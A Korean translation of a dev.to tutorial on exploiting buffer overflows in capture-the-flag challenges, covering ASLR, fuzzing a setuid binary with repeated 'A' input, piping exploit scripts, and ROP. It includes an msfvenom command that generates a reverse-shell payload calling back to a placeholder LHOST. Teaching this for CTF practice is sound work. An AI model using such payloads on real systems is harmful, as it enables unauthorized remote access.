CTF의 버퍼 오버플로
한도가 없을 때
대부분의 경우 버퍼 오버플로 취약점은 코딩 실수로 인해 발생합니다. 응용 프로그램이 버퍼를 올바르게 할당하지 못할 수 있습니다. 예를 들어 많은 시스템은 함수가 읽을 수 있는 데이터의 양을 제한하지 않습니다.
버퍼는 일시적으로 데이터를 보유하는 메모리의 특정 섹션으로 설명할 수 있습니다. 데이터 양이 버퍼의 크기(~저장 용량)를 초과하고 앱이 이러한 오버플로를 버리지 않으면 상황을 악용할 수 있습니다.
인접한 메모리 위치가 손상되어(어딘가로 가야 합니다^^) 공격자가 데이터를 덮어써 시스템을 충돌시키고 임의의 코드를 실행할 수도 있습니다.
이러한 공격은 메모리의 특정 부분(예: 힙, 스택)에 집중할 수 있습니다.
스택 오버플로 공격이 사라졌습니까?
실제 세계에는 스택 오버플로 공격에 대한 몇 가지 효율적인 완화 방법이 있습니다. 예를 들어 ASLR(Address Space Layout Randomization)은 메모리를 무작위화하여 공격 대상 취약 코드의 위치를 예측하기 어렵게 하므로 공격자의 작업을 훨씬 더 어렵게 만듭니다.
메모리 주소가 항상 변경되기 때문에 "시행착오"전략은 더 이상 선택 사항이 아닙니다. 그러나 궁극적인 방어 수단은 아닙니다. 이를 우회하는 방법도 있고 일부 팀은 지속적인 버그를 수정하기 위해 이 보호 기능을 선택 해제하기도 합니다.
오래된 새로운 문제
버퍼 오버플로 취약점은 오래된 문제입니다. C와 달리 최신 프로그래밍 언어에는 이 문제를 해결하고 범위를 확인하는 기능이 내장되어 있지만 이는 완화에 불과합니다.
버퍼 오버플로가 여전히 발생할 수 있습니다. 이것이 일부 CTF가 이 기술을 강조하는 이유입니다. 공격을 가능하게 하기 위해 대상 시스템에 일부 바이너리를 배치하는 것은 드문 일이 아닙니다.
CTF의 버퍼
다음과 같은 입력으로 시스템이 불쾌한 오버플로에 취약한지 여부를 확인할 수 있습니다.
./mybinary AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
주의:
mybinary
는 대상 사용자(루트일 수 있음)의 파일 시스템 권한이 있는 실행 파일인 setuid일 가능성이 높습니다.버퍼 오버플로(일명 오프셋)를 만드는 특정 숫자의 "A"가 있는 경우 승리입니다. 많은 도구가 이러한 테스트(예: Metasploit)를 자동화할 수 있지만 Python을 사용하여 문자열을 빠르게 생성할 수도 있습니다.
python3 -c 'print("A"*69)' | ./mybinary
그런 다음 취약점을 악용하는 Python 스크립트를 작성하고 출력을 바이너리로 전달할 수 있습니다.
python3 exploit.py | ./mybinary
많은 가능성이 있지만 작업을 쉽게하기 위해 Python에서 the pwn package을 사용하는 것이 좋습니다.
영감을 얻기 위해 Google에서 사용할 수 있는 자세한 예가 있습니다.
ROP란?
ROP(Return-Oriented Programming)는 승인되지 않은 액세스를 얻는 데 사용할 수 있는 중요한 기능(예: C의
system
또는 exec
)을 호출하기 위해 프로그램의 특정 명령어 시퀀스를 활용하는 것으로 구성됩니다.종종 버퍼 오버플로 공격과 결합되어 악성 페이로드를 전달하고 메모리를 남용합니다.
인터넷에서 사용할 수 있는 많은 스크립트가 있지만 일반적인 조언으로 그것이 무엇을 하는지 모른다면 사용하지 마십시오.
신뢰할 수 있는 올바른 리소스를 찾는 데 도움이 되도록 적법한 스크립트는 공격을 실행하기 전에
msf-venom
로 페이로드를 생성하고 그 결과를 코드에 포함하라는 지침을 제공할 가능성이 높습니다.msfvenom -p linux/x64/shell_reverse_tcp LHOST={LHOST} LPORT={LPORT} -f py
또한 버퍼 오버플로에 대한 오프셋을 결정하기 위해 "ROP gadgets"과 같은 라이브러리를 찾는 라인을 포함할 수 있습니다.
마무리
최신 아키텍처 및 프로그래밍 언어에 내장된 완화 기능에도 불구하고 버퍼 오버플로는 여전히 가능합니다.
그러나 악용은 사소하지 않으며 CTF는 일반적으로 다양한 힌트와 공격 바이너리를 제공하여 프로세스를 크게 단순화합니다.
Reference
이 문제에 관하여(CTF의 버퍼 오버플로), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/jmau111/buffer-overflows-in-ctfs-3h3m텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)